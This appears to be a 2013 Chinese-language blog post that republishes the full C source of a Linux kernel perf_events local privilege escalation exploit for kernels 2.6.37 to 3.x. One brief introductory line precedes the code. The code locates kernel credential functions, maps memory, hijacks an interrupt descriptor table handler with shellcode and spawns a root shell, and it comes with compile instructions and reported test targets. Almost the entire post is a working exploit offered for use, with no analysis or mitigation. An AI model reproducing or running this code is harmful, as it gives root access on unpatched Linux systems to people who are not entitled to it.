Linux kernel perf_events local root exploit

Posted by qmsheng on November 10, 2013

该提权漏洞是 Alibaba 的一位大牛于 2013-05-24 所发布,据说可以通杀 2.6.37 - 3.x 所有内核,我已确认受影响的系统:RHEL 6.4 x86_64

 /*
 * Linux kernel perf_events local root exploit
 *
 * by wzt 2013  http://www.cloud-sec.org
 *
 * gcc -o perf_exp per_exp.c -O2
 *
 * target: 2.6.37 - 3.x
 *
 * test on:
 * rhel6.3/6.4 x86_64
 * rhel6.3 + 3.2 kernel
 */

#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/mman.h>
#include <sys/utsname.h>
#include <syscall.h>
#include <stdint.h>
#include <assert.h>
#include <linux/perf_event.h>

#define KALLSYMS_NAME                           "/boot/System.map-2.6.32-279.el6.x86_64"

#define BASE                                    0x380000000
#define SIZE                                    0x010000000
#define KSIZE                                   0x2000000

#define USER_CS                                 0x33
#define USER_SS                                 0x2b
#define USER_FL                                 0x246

#define STACK(x)                                (x + sizeof(x))

typedef int __attribute__((regparm(1)))(*_commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(1)))(*_prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

void exit_user_code(void);
char user_stack[1024 * 1024];

uint64_t *orig_idt_handler;

unsigned char kern_sc[] = "\x48\xc7\xc3\x40\x08\x40\x00\xff\xe3";

struct idtr {
        uint16_t limit;
        uint64_t addr;
}__attribute__((packed));

void exit_user_code(void)
{
        if (getuid() != 0) {
                printf("[-] exploit failed.\n");
                exit(-1);
        }

        printf("[+] Got root shell!\n");
        execl("/bin/bash", "sh", "-i", NULL);
}

void kernel_shellcode(void)
{
        asm volatile("swapgs\n\t"
                        "movq orig_idt_handler, %rsi\n\t"
                        "movq $-1, (%rsi)\n\t"
                        "movq $0, %rdi\n\t"
                        "movq $prepare_kernel_cred, %rsi\n\t"
                        "movq (%rsi), %rsi\n\t"
                        "callq *%rsi\n\t"
                        "movq %rax, %rdi\n\t"
                        "movq $commit_creds, %rsi\n\t"
                        "movq (%rsi), %rsi\n\t"
                        "callq *%rsi\n\t"
                        "movq $0x2b, 0x20(%rsp)\n\t"
                        "movq $user_stack, %rbx\n\t"
                        "addq $0x100000, %rbx\n\t"
                        "movq %rbx, 0x18(%rsp)\n\t"
                        "movq $0x246, 0x10(%rsp)\n\t"
                        "movq $0x33, 0x08(%rsp)\n\t"
                        "movq $exit_user_code, %rbx\n\t"
                        "movq %rbx, 0x00(%rsp)\n\t"
                        "swapgs\n\t"
                        "iretq");
}

int perf_event_open(uint32_t offset)
{
        struct perf_event_attr p_attr;
        int fd;

        memset(&amp;p_attr, 0, sizeof(struct perf_event_attr));
        p_attr.type = PERF_TYPE_SOFTWARE;
        p_attr.size = sizeof(struct perf_event_attr);
        p_attr.config = offset;
        p_attr.mmap = 1;
        p_attr.freq = 1;

        fd = syscall(__NR_perf_event_open, &amp;p_attr, 0, -1, -1, 0);
        if (fd == -1) {
                perror("perf_event_open");
                return -1;
        }

        if (close(fd) == -1) {
                perror("close");
                return -1;
        }

        return 0;
}

unsigned long find_symbol_by_proc(char *file_name, char *symbol_name)
{
        FILE *s_fp;
        char buff[200];
        char *p = NULL, *p1 = NULL;
        unsigned long addr = 0;

        s_fp = fopen(file_name, "r");
        if (s_fp == NULL) {
                printf("open %s failed.\n", file_name);
                return 0;
        }

        while (fgets(buff, 200, s_fp) != NULL) {
                if (strstr(buff, symbol_name) != NULL) {
                        buff[strlen(buff) - 1] = '\0';
                        p = strchr(strchr(buff, ' ') + 1, ' ');
                        ++p;
                        if (!p)
                                return 0;

                        if (!strcmp(p, symbol_name)) {
                                p1 = strchr(buff, ' ');
                                *p1 = '\0';
                                sscanf(buff, "%lx", &amp;addr);
                                break;
                        }
                }
        }

        fclose(s_fp);
        return addr;
}

int perf_symbol_init(void)
{
        struct utsname os_ver;
        char system_map[128];

        if (uname(&amp;os_ver) == -1) {
                perror("uname");
                return -1;
        }

        printf("[+] target kernel: %s\tarch: %s\n", os_ver.release, os_ver.machine);

        snprintf(system_map, sizeof(system_map),
                "/boot/System.map-%s", os_ver.release);
        printf("[+] looking for symbols...\n");
        commit_creds = (_commit_creds)find_symbol_by_proc(system_map, "commit_creds");
        if (!commit_creds) {
                printf("[-] not found commit_creds addr.\n");
                return -1;
        }
        printf("[+] found commit_creds addr: %p\n", commit_creds);

        prepare_kernel_cred =(_prepare_kernel_cred)find_symbol_by_proc(system_map,
                        "prepare_kernel_cred");
        if (!prepare_kernel_cred) {
                printf("[-] not found prepare_kernel_cred addr.\n");
                return -1;
        }
        printf("[+] found prepare_kernel_cred addr: %p\n", prepare_kernel_cred);
}

void exploit_banner(void)
{
        printf("Linux kernel perf_events(2.6.37 - 3.x) local root exploit.\n"
                "by wzt 2013\thttp://www.cloud-sec.org\n\n");
}

int main()
{
        struct idtr idt;
        uint64_t kbase;
        uint8_t *code;
        uint32_t *map;
        int i;
        int idt_offset;

        exploit_banner();

        if (perf_symbol_init() == -1)
                return -1;

        map = mmap((void*)BASE, SIZE, PROT_READ | PROT_WRITE,
                        MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
        if (map != (void *)BASE) {
                perror("mmap");
                return -1;
        }
        printf("[+] mmap at %p ok.\n", (void *)map);
        memset(map, 0, SIZE);

        if (perf_event_open(-1) == -1)
                return -1;

        if (perf_event_open(-2) == -1)
                return -1;

        for (i = 0; i < SIZE/4; i++) {
                if (map[i]) {
                        assert(map[i+1]);
                        break;
                }
        }
        assert(i<SIZE/4);

        asm ("sidt %0" : "=m"(idt));
        kbase = idt.addr &amp; 0xff000000;

        code = mmap((void*)kbase, KSIZE, PROT_READ | PROT_WRITE | PROT_EXEC,
                        MAP_ANONYMOUS | MAP_PRIVATE | MAP_FIXED, -1, 0);
        if (code != (void *)kbase) {
                perror("mmap");
                return -1;
        }
        printf("[+] mmap shellcode at %p ok.\n", (void *)code);

        memset(code, 0x90, KSIZE);
        code += KSIZE - 1024;

        *(uint32_t *)(kern_sc + 3) = (uint32_t)&amp;kernel_shellcode;
        memcpy(code - 9, kern_sc, 9);

        orig_idt_handler = (uint64_t *)(idt.addr + 0x48);
        printf("[+] int4 idt handler addr: %lx\n", orig_idt_handler);

        idt_offset = -i + (((idt.addr &amp; 0xffffffff) - 0x80000000) / 4) + 16;
        printf("[+] trigger offset: %d\n", idt_offset);

        if (perf_event_open(idt_offset) == -1)
                return -1;

        printf("[+] trigger int4 ...\n");
        asm("int $0x4");
}